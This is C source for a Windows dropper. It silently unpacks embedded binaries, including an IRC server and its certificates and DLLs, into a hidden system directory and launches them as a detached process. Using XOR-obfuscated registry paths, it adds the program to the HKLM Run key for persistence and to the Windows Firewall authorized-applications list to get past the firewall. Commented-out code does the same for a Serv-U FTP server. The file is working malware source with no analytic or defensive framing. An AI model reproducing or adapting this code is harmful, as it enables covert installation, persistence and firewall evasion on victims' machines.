#include "includes.h"



char iValuename[]		= "Netlib";

char sValuename[]		= "WGRSEC";

char movepath[]			= "%windir%\\system\\hid\\";	//*path to move to

char movepath2[]		= "%windir%\\system\\";

char servup[MAX_PATH], ircdp[MAX_PATH];



//#define _DEBUG



#ifndef _DEBUG

#pragma comment(linker, "/subsystem:windows ")

#else

#pragma comment(linker, "/subsystem:console ")

#endif // _DEBUG



#ifndef _DEBUG

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

#else

int main(int argc, char *argv[])

#endif

{



	SetErrorMode(SEM_NOGPFAULTERRORBOX);



	char cfilename[MAX_PATH];

	char movetopath[MAX_PATH];

	PROCESS_INFORMATION pinfo;

	STARTUPINFO sinfo;

	ZeroMemory(&pinfo,sizeof(pinfo));

	ZeroMemory(&sinfo,sizeof(sinfo));

	sinfo.lpTitle     = "";

	sinfo.cb = sizeof(sinfo);

	sinfo.dwFlags = STARTF_USESHOWWINDOW;

	GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));

	ExpandEnvironmentStrings(movepath,movetopath,sizeof(movetopath));



	if(_mkdir(movetopath) == 0)

	{

		if(unpack(movetopath))

		{

//			CreateProcess(servup,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo);

			CreateProcess(ircdp,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo);

		}

	} else

	{

		ExpandEnvironmentStrings(movepath2,movetopath,sizeof(movetopath));

		

		if(unpack(movetopath))

		{

//			CreateProcess(servup,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo);

			CreateProcess(ircdp,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo);

		}

	}



#ifdef _DEBUG

	system("pause");

#endif

	return 0;

}



bool write_file(char *filename, int resnum)

{	

  

  FILE *fp=fopen(filename, "wb"); if(!fp) return false;

  

  HMODULE hMod=GetModuleHandle(NULL); if(!hMod) return false;

  HRSRC hBinary=FindResource(hMod, MAKEINTRESOURCE(resnum), TEXT("BINRES")); if(!hBinary) return false;

  HGLOBAL hGbDesc=LoadResource(NULL, hBinary); 

  DWORD dwSize=SizeofResource(NULL, hBinary); 

  PBYTE pData=(unsigned char*)LockResource(hGbDesc); 

  fwrite(pData, sizeof(unsigned char), dwSize, fp);

  

  fclose(fp);

  free(fp);

  

  return true; 

  

}



bool unpack(char movetopath[])

{

	char *service="", fname[MAX_PATH];

	bool unpack;



/*	sprintf(fname, "%s%s", movetopath, SERVU_SSLDLL); 

	unpack=write_file(fname, IDR_BIN_SERVU_SSLDLL);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_SSLDLL, (unpack?"true":"false"));

#endif

	if(unpack)

	{

		sprintf(fname, "%s%s", movetopath, SERVU_SSLDLL2); 

		unpack=write_file(fname, IDR_BIN_SERVU_SSLDLL2);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_SSLDLL2, (unpack?"true":"false"));

#endif

	}

	if(unpack)

	{

		sprintf(fname, "%s%s", movetopath, SERVU_CERT); 

		unpack=write_file(fname, IDR_BIN_SERVU_CERT);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_CERT, (unpack?"true":"false"));

#endif

	}

	if(unpack)

	{

		sprintf(fname, "%s%s", movetopath, SERVU_KEY); 

		unpack=write_file(fname, IDR_BIN_SERVU_KEY);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_KEY, (unpack?"true":"false"));

#endif

	}

	if(unpack)

	{

		sprintf(servup, "%s%s", movetopath, SERVU); 

		unpack=write_file(servup, IDR_BIN_SERVU);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU, (unpack?"true":"false"));

#endif

	}

	if(unpack)

	{

		sprintf(fname, "%s%s", movetopath, SERVU_CONF); 

		unpack=write_file(fname, IDR_BIN_SERVU_CONF);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_CONF, (unpack?"true":"false"));

#endif

	}

	if(unpack)

	{

		sprintf(fname, "%s%s", movetopath, SERVU_DLL); 

		unpack=write_file(fname, IDR_BIN_SERVU_DLL);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_SERVU_DLL, (unpack?"true":"false"));

#endif

	}
	if(unpack)

	{*/

		sprintf(fname, "%s%s", movetopath, IRCD_CONF); 

		unpack=write_file(fname, IDR_BIN_IRCD_CONF);

		Sleep(5000);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_CONF, (unpack?"true":"false"));

#endif

//	}

	if(unpack)

	{

		sprintf(ircdp, "%s%s", movetopath, IRCD); 

		unpack=write_file(ircdp, IDR_BIN_IRCD);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD, (unpack?"true":"false"));

#endif

	}

	if(unpack)

	{

		sprintf(fname, "%s%s", movetopath, IRCD_CERT); 

		unpack=write_file(fname, IDR_BIN_IRCD_CERT);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_CERT, (unpack?"true":"false"));

#endif

	}

	if(unpack)

	{

		sprintf(fname, "%s%s", movetopath, IRCD_KEY); 

		unpack=write_file(fname, IDR_BIN_IRCD_KEY);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_KEY, (unpack?"true":"false"));

#endif

	}

	if(unpack)

	{

		sprintf(fname, "%s%s", movetopath, IRCD_TUNE); 

		unpack=write_file(fname, IDR_BIN_IRCD_TUNE);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_TUNE, (unpack?"true":"false"));

#endif

	}

	if(unpack)

	{

		sprintf(fname, "%s%s", movetopath, IRCD_SSLDLL); 

		unpack=write_file(fname, IDR_BIN_IRCD_SSLDLL);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_SSLDLL, (unpack?"true":"false"));

#endif

	}

	if(unpack)

	{

		sprintf(fname, "%s%s", movetopath, IRCD_DLL2); 

		unpack=write_file(fname, IDR_BIN_IRCD_DLL2);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_DLL2, (unpack?"true":"false"));

#endif

	}

	if(unpack)

	{

		sprintf(fname, "%s%s", movetopath, IRCD_DLL3); 

		unpack=write_file(fname, IDR_BIN_IRCD_DLL3);

#ifdef _DEBUG

		printf("%s - %d - %s\r\n",fname,IDR_BIN_IRCD_DLL3, (unpack?"true":"false"));

#endif

	}



	if(unpack)

	{

		WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run*/XorStr<0xAD,46,0xDB774414>("\xFE\xE1\xE9\xE4\xE6\xF3\xE1\xF1\xE9\xFB\xDE\xDB\xCB\xD5\xC8\xD3\xDB\xCA\xE3\x97\xA8\xAC\xA7\xAB\xB2\xB5\x9B\x8B\xBC\xB8\xB9\xA9\xA3\xBA\x99\xB5\xA3\xA1\xBA\xBB\xBB\x8A\x85\xAD\xB7"+0xDB774414).s, iValuename, ircdp);

		//WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run*/XorStr<0xAD,46,0xDB774414>("\xFE\xE1\xE9\xE4\xE6\xF3\xE1\xF1\xE9\xFB\xDE\xDB\xCB\xD5\xC8\xD3\xDB\xCA\xE3\x97\xA8\xAC\xA7\xAB\xB2\xB5\x9B\x8B\xBC\xB8\xB9\xA9\xA3\xBA\x99\xB5\xA3\xA1\xBA\xBB\xBB\x8A\x85\xAD\xB7"+0xDB774414).s, sValuename, servup);

		WriteRegistry(HKEY_LOCAL_MACHINE,/*SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List*/XorStr<0xD5,117,0x69F6F8>("\x86\x8F\x84\x8C\x9C\x97\x87\x9F\xA8\xAC\xAD\x85\x8F\x96\xA0\x8B\x8B\x92\x95\x87\x85\xB9\x8E\x98\xB1\xBD\x8A\x82\x87\x9B\x90\x91\x86\xAA\xA4\x90\x98\x88\x9E\x98\xBC\x9D\x9C\x65\x72\x71\x5F\x54\x64\x74\x66\x65\x6C\x7E\x6E\x7E\x7E\x52\x49\x79\x63\x77\x64\x75\x79\x7A\x47\x77\x75\x73\x78\x65\x41\x4D\x6B\x41\x4F\x46\x42\x56\x41\x76\x55\x47\x4F\x43\x47\x49\x71\x6F\x5A\x44\x59\x5D\x41\x5D\x4F\x53\x53\x79\x49\x4A\x57\x55\x5E\x5F\x4B\x29\x2E\x2C\x30\x18\x9\x2F\x34\x3C"+0x69F6F8).s, iValuename, ircdp);

		//WriteRegistry(HKEY_LOCAL_MACHINE,/*SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List*/XorStr<0xD5,117,0x69F6F8>("\x86\x8F\x84\x8C\x9C\x97\x87\x9F\xA8\xAC\xAD\x85\x8F\x96\xA0\x8B\x8B\x92\x95\x87\x85\xB9\x8E\x98\xB1\xBD\x8A\x82\x87\x9B\x90\x91\x86\xAA\xA4\x90\x98\x88\x9E\x98\xBC\x9D\x9C\x65\x72\x71\x5F\x54\x64\x74\x66\x65\x6C\x7E\x6E\x7E\x7E\x52\x49\x79\x63\x77\x64\x75\x79\x7A\x47\x77\x75\x73\x78\x65\x41\x4D\x6B\x41\x4F\x46\x42\x56\x41\x76\x55\x47\x4F\x43\x47\x49\x71\x6F\x5A\x44\x59\x5D\x41\x5D\x4F\x53\x53\x79\x49\x4A\x57\x55\x5E\x5F\x4B\x29\x2E\x2C\x30\x18\x9\x2F\x34\x3C"+0x69F6F8).s, sValuename, servup);

//		WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run*/XorStr<0xAD,46,0xDB774414>("\xFE\xE1\xE9\xE4\xE6\xF3\xE1\xF1\xE9\xFB\xDE\xDB\xCB\xD5\xC8\xD3\xDB\xCA\xE3\x97\xA8\xAC\xA7\xAB\xB2\xB5\x9B\x8B\xBC\xB8\xB9\xA9\xA3\xBA\x99\xB5\xA3\xA1\xBA\xBB\xBB\x8A\x85\xAD\xB7"+0xDB774414).s, iValuename, ircdp);

//		WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run*/XorStr<0xAD,46,0xDB774414>("\xFE\xE1\xE9\xE4\xE6\xF3\xE1\xF1\xE9\xFB\xDE\xDB\xCB\xD5\xC8\xD3\xDB\xCA\xE3\x97\xA8\xAC\xA7\xAB\xB2\xB5\x9B\x8B\xBC\xB8\xB9\xA9\xA3\xBA\x99\xB5\xA3\xA1\xBA\xBB\xBB\x8A\x85\xAD\xB7"+0xDB774414).s, sValuename, servup);

//		WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce*/XorStr<0x1A,50,0x48E4B14D>("\x49\x54\x5A\x49\x49\x5E\x72\x64\x7E\x6E\x4D\x46\x54\x48\x5B\x46\x4C\x5F\x70\x7A\x47\x41\x54\x5E\x45\x40\x68\x76\x43\x45\x4A\x5C\x54\x4F\x6A\x58\x4C\x4C\x29\x2E\x2C\x1F\x16\x30\x28\x8\x26\x2A\x2F"+0x48E4B14D).s, iValuename, ircdp);

//		WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce*/XorStr<0x1A,50,0x48E4B14D>("\x49\x54\x5A\x49\x49\x5E\x72\x64\x7E\x6E\x4D\x46\x54\x48\x5B\x46\x4C\x5F\x70\x7A\x47\x41\x54\x5E\x45\x40\x68\x76\x43\x45\x4A\x5C\x54\x4F\x6A\x58\x4C\x4C\x29\x2E\x2C\x1F\x16\x30\x28\x8\x26\x2A\x2F"+0x48E4B14D).s, iValuename, ircdp);

//		WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce*/XorStr<0x1A,50,0x48E4B14D>("\x49\x54\x5A\x49\x49\x5E\x72\x64\x7E\x6E\x4D\x46\x54\x48\x5B\x46\x4C\x5F\x70\x7A\x47\x41\x54\x5E\x45\x40\x68\x76\x43\x45\x4A\x5C\x54\x4F\x6A\x58\x4C\x4C\x29\x2E\x2C\x1F\x16\x30\x28\x8\x26\x2A\x2F"+0x48E4B14D).s, sValuename, servup);

//		WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce*/XorStr<0x1A,50,0x48E4B14D>("\x49\x54\x5A\x49\x49\x5E\x72\x64\x7E\x6E\x4D\x46\x54\x48\x5B\x46\x4C\x5F\x70\x7A\x47\x41\x54\x5E\x45\x40\x68\x76\x43\x45\x4A\x5C\x54\x4F\x6A\x58\x4C\x4C\x29\x2E\x2C\x1F\x16\x30\x28\x8\x26\x2A\x2F"+0x48E4B14D).s, sValuename, servup);

//		WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer*/XorStr<0xA3,51,0xA06D3AD6>("\xF0\xEB\xE3\xF2\xF0\xE9\xFB\xEF\xF7\xE1\xC4\xCD\xDD\xDF\xC2\xDD\xD5\xC0\xE9\xE1\xDE\xD6\xDD\xD5\xCC\xCF\xE1\xFD\xCA\xB2\xB3\xA7\xAD\xB0\x93\xA3\xB5\xBB\xA0\xA5\xA5\x90\x88\xB6\xBF\xBC\xBE\xA0\xB6\xA6"+0xA06D3AD6).s, iValuename, ircdp);

//		WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer*/XorStr<0xA3,51,0xA06D3AD6>("\xF0\xEB\xE3\xF2\xF0\xE9\xFB\xEF\xF7\xE1\xC4\xCD\xDD\xDF\xC2\xDD\xD5\xC0\xE9\xE1\xDE\xD6\xDD\xD5\xCC\xCF\xE1\xFD\xCA\xB2\xB3\xA7\xAD\xB0\x93\xA3\xB5\xBB\xA0\xA5\xA5\x90\x88\xB6\xBF\xBC\xBE\xA0\xB6\xA6"+0xA06D3AD6).s, iValuename, ircdp);

//		WriteRegistry(HKEY_LOCAL_MACHINE,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer*/XorStr<0xA3,51,0xA06D3AD6>("\xF0\xEB\xE3\xF2\xF0\xE9\xFB\xEF\xF7\xE1\xC4\xCD\xDD\xDF\xC2\xDD\xD5\xC0\xE9\xE1\xDE\xD6\xDD\xD5\xCC\xCF\xE1\xFD\xCA\xB2\xB3\xA7\xAD\xB0\x93\xA3\xB5\xBB\xA0\xA5\xA5\x90\x88\xB6\xBF\xBC\xBE\xA0\xB6\xA6"+0xA06D3AD6).s, sValuename, servup);

//		WriteRegistry(HKEY_CURRENT_USER,/*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer*/XorStr<0xA3,51,0xA06D3AD6>("\xF0\xEB\xE3\xF2\xF0\xE9\xFB\xEF\xF7\xE1\xC4\xCD\xDD\xDF\xC2\xDD\xD5\xC0\xE9\xE1\xDE\xD6\xDD\xD5\xCC\xCF\xE1\xFD\xCA\xB2\xB3\xA7\xAD\xB0\x93\xA3\xB5\xBB\xA0\xA5\xA5\x90\x88\xB6\xBF\xBC\xBE\xA0\xB6\xA6"+0xA06D3AD6).s, sValuename, servup);

//		WriteRegistry(HKEY_CURRENT_USER,/*SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List*/XorStr<0xD5,117,0x69F6F8>("\x86\x8F\x84\x8C\x9C\x97\x87\x9F\xA8\xAC\xAD\x85\x8F\x96\xA0\x8B\x8B\x92\x95\x87\x85\xB9\x8E\x98\xB1\xBD\x8A\x82\x87\x9B\x90\x91\x86\xAA\xA4\x90\x98\x88\x9E\x98\xBC\x9D\x9C\x65\x72\x71\x5F\x54\x64\x74\x66\x65\x6C\x7E\x6E\x7E\x7E\x52\x49\x79\x63\x77\x64\x75\x79\x7A\x47\x77\x75\x73\x78\x65\x41\x4D\x6B\x41\x4F\x46\x42\x56\x41\x76\x55\x47\x4F\x43\x47\x49\x71\x6F\x5A\x44\x59\x5D\x41\x5D\x4F\x53\x53\x79\x49\x4A\x57\x55\x5E\x5F\x4B\x29\x2E\x2C\x30\x18\x9\x2F\x34\x3C"+0x69F6F8).s, iValuename, ircdp);

//		WriteRegistry(HKEY_CURRENT_USER,/*SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List*/XorStr<0xD5,117,0x69F6F8>("\x86\x8F\x84\x8C\x9C\x97\x87\x9F\xA8\xAC\xAD\x85\x8F\x96\xA0\x8B\x8B\x92\x95\x87\x85\xB9\x8E\x98\xB1\xBD\x8A\x82\x87\x9B\x90\x91\x86\xAA\xA4\x90\x98\x88\x9E\x98\xBC\x9D\x9C\x65\x72\x71\x5F\x54\x64\x74\x66\x65\x6C\x7E\x6E\x7E\x7E\x52\x49\x79\x63\x77\x64\x75\x79\x7A\x47\x77\x75\x73\x78\x65\x41\x4D\x6B\x41\x4F\x46\x42\x56\x41\x76\x55\x47\x4F\x43\x47\x49\x71\x6F\x5A\x44\x59\x5D\x41\x5D\x4F\x53\x53\x79\x49\x4A\x57\x55\x5E\x5F\x4B\x29\x2E\x2C\x30\x18\x9\x2F\x34\x3C"+0x69F6F8).s, sValuename, servup);



		return true;

	} else

		return false;

}